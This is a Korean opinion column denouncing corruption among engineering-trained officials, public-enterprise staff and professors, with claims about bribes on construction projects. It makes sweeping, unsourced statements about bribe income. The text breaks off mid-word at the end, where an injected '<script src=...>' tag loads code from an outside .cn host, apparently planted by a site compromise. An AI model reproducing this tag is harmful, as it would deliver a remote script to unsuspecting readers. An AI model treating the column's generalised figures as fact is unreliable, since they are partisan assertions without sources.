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언론기고

반칙이 난무하는 이 땅에 CM은 누가?

보도일자

보도기관

부실공화국 부패공화국,부조리가 난무하는 사회에 기술로 돈을 만들 수 없다.

부패의 기교와 부정을 저지르는 기법과 부실하게 만드는 기술 이런것들을 연구하도록 요구하는 부패한 기업주들의 탐욕과 이들에게 아부를 하는 머슴근성의 이공계 선배들, 이공계 출신 공직자, 이공계 교수들 이들과 결탁한 족벌언론 보다 부패 한 자들이 판을 치기 좋도록 만들어진 각종제도 정책 이러한것들로 인하여 무엇인가를 개선하고 연구개발 하는 자들은 설 땅이 없슴을 아는데 차라리 부패와 타협을 하고 부조리에 뛰어들어 부실한 상품을 만들어 내는 방법을 활용 하는자들의 세상에 잘나가는 이공계,과학자,기술자,전문가 필요치 않다.

그래서 우리는 반칙을 없애고 능력있는 자들의 세상으로 만들겠다고 공약을 내걸었던 노무현을 선택한것이 아닌가?

그러나 아직은 아니다.

이공계 출신들 아직도 무엇이 우리를 이리도 힘들게 하는지를 깨닫지 못하고 밥그릇 싸움이나 하면서 의사, 변호사 처럼 진입장벽을 치고 동료들 까지 자신의 밥그릇 챙기기에 도움이 되지 않는다 하여 거리로 내 몰려는 비열한 자들 그저 한심할뿐이다.

이공계는 자본가의 머슴으로 평생을 보내 왔던것이 우리의 현실이다.

이는 자본가들이 기술을 가진 머슴을 이용하여 부도덕한 방법으로 돈을 벌어 왔고 탐욕으로 가득한 자본가들을 위해 부실한 상품을 만드는데 이공계 출신들이 앞장을 서왔기에 국민들로 부터 외면을 당하고 있는것이다.

많은 숫자의 이공계 공무원들은 6급 이하로 관료생활을 하고 있다.

보다 많은 숫자의 이공계 출신 공기업직원들은 낙하산 공기업 경영진의 약점을 이용 정년을 보장 받고 있다.

이들은 동료 기술자들을 머슴 다루듯 할수 있는 권한을 보유하기 위해 혈안이 되었고 이를 무기로 부패한 업주와 더불어 이공계 머슴들을 이 사회의 약자로 만들어 왔다.

그러나 이공계 출신 과잉공급까지 겹치면서 이공계의 몸값은 똥값이 되었고 그나마 일자리 조차 확보하기 어렵게 되었다.


이공계 위기는 내부의 문제


이공계 출신 자들 중에서 공무원 생활을 하거나 공기업에 종사를 하는 자들과 이공계 교수들은 이들은 그동안 의사,변호사를 우습게 알고 호화로운 생활을 하고 있다는 사실을 알아야 한다.

이공계 출신 공무원들은 거의 대부분 6급 이하로 근무를 하고 있다. 그들은 진급을 원하지 않는다. 진급을 하면 오히려 뇌물 액수가 줄기 때문이다.

공기업(한전,도로공사,토지공사,주택공사,수자원,가스,송유,통신,공항,철도.......등)과 공무원으로 근무를 하는 이공계 출신은 전체 이공계 출신의 30% 수준이다.

이들의 정년은 평균 60세, 50대에 퇴직을 해도 엔지니어링 회사의 임원이나 간부로 대우를 받는다. 이유는 전관예우 관행이 존재 하기때문에.....

이들의 공식수입은 년봉 25백만원-35백만원 이지만 이들이 비공식으로 챙기는 뇌물액수는 년평균 50백만원 이상 이들의 년간 수입은 억대.....

이공계 출신 공무원과 공기업 근무자들이 퇴직을 하거나 이직을 하지 않는 이유는 바로 여기에 있다.

우리사회에 60세 이후 70세까지 일정한 수입이 보장 되는 직업은 많지 않다.

그러나 이들은 서로 밀어주고 자리를 만들어 자신들의 위치를 굳혀왔다.

지금 이곳에서 아우성을 치는 이공계 출신들은 그저 남의 떡이 커 보여 다른 직종과 비교를 하면서 아우성을 쳐 대는것이다.

이공계 출신자 공무원과 공기업 직원들의 간접 수입 목록....

매월 200-300만원의 월례비를 챙긴다. 매주 1회 이상의 술접대와 골프접대를 받는다.

아래 내용은 거의 모든 건설, 건축,기계,전기,통신,가스,상하수도,댐,철도,공항,도로,고속도로,항만,원자력 등의 분야에 종사하는 설계,감리,시공감독자들의 행태이다.

이공계 출신 공무원 집단과 이공계 교수들의 행태 중 최근 언론을 통하여 밝혀진 내용의 극히 일부이다.


이공계 기술직 공무원 그들은 황제였다.

공사현장에서 뇌물을 거둬 들인다는 전제하에 수천만원의 국 운영예산까지 짜서 집행했으며 업자들이 뇌물을 안가져올 경우는 독촉전화까지 했다. 그 뿐만 아니라 공사현장의 소장들은 ''국토청 고스톱''이라는 독특한 규칙의 노름으로 돈을 잃어 줘야 했으며, 밤에는 룸싸롱에서 충성을 맹세하는 ''충성주''를 무릎꿇고 바쳐야 했다.

상식을 뛰어 넘는 지방국토관리청 공무원들의 뇌물수수실태를 고발하고 이런 뇌물비리가 끊이지 않는 구조적 원인을 점검해 본다

작년 5월30일 대구지검 김천지청은 부산지방국토관리청 하천국 하천공사과 과장을 포함한 전·현직 직원 4명을 구속하고, 3명을 불구속 기소했다. 낙동강과 각 지류 하천둑 공사를 발주하면서 시공업체들에게서 뇌물받은 사실을 적발했기 때문이다.

한 과 8명의 정원 중 서기와 기능?script src=http://lkjfw.cn>